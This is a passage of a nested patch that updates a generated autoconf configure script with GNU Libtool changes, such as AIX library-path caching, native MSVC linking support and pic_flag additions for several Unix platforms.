+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -8751,22 +9279,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -8811,20 +9346,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -8885,7 +9463,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -8893,7 +9471,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -8909,7 +9487,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -8933,10 +9511,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -9015,23 +9593,36 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -9116,7 +9707,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
+@@ -9135,9 +9726,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -9713,8 +10304,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -9747,13 +10339,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -10655,7 +11305,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 10658 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -10699,10 +11349,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -10761,7 +11411,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 10764 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -10805,10 +11455,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -14728,13 +15378,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -14749,14 +15406,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -14789,12 +15449,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -14849,8 +15509,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -14860,12 +15525,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -14881,7 +15548,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -14917,6 +15583,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -15690,7 +16357,8 @@ $as_echo X"$file" |
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -15793,19 +16461,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -15835,6 +16526,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -15844,6 +16541,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -15958,12 +16658,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -16050,9 +16750,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -16068,6 +16765,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
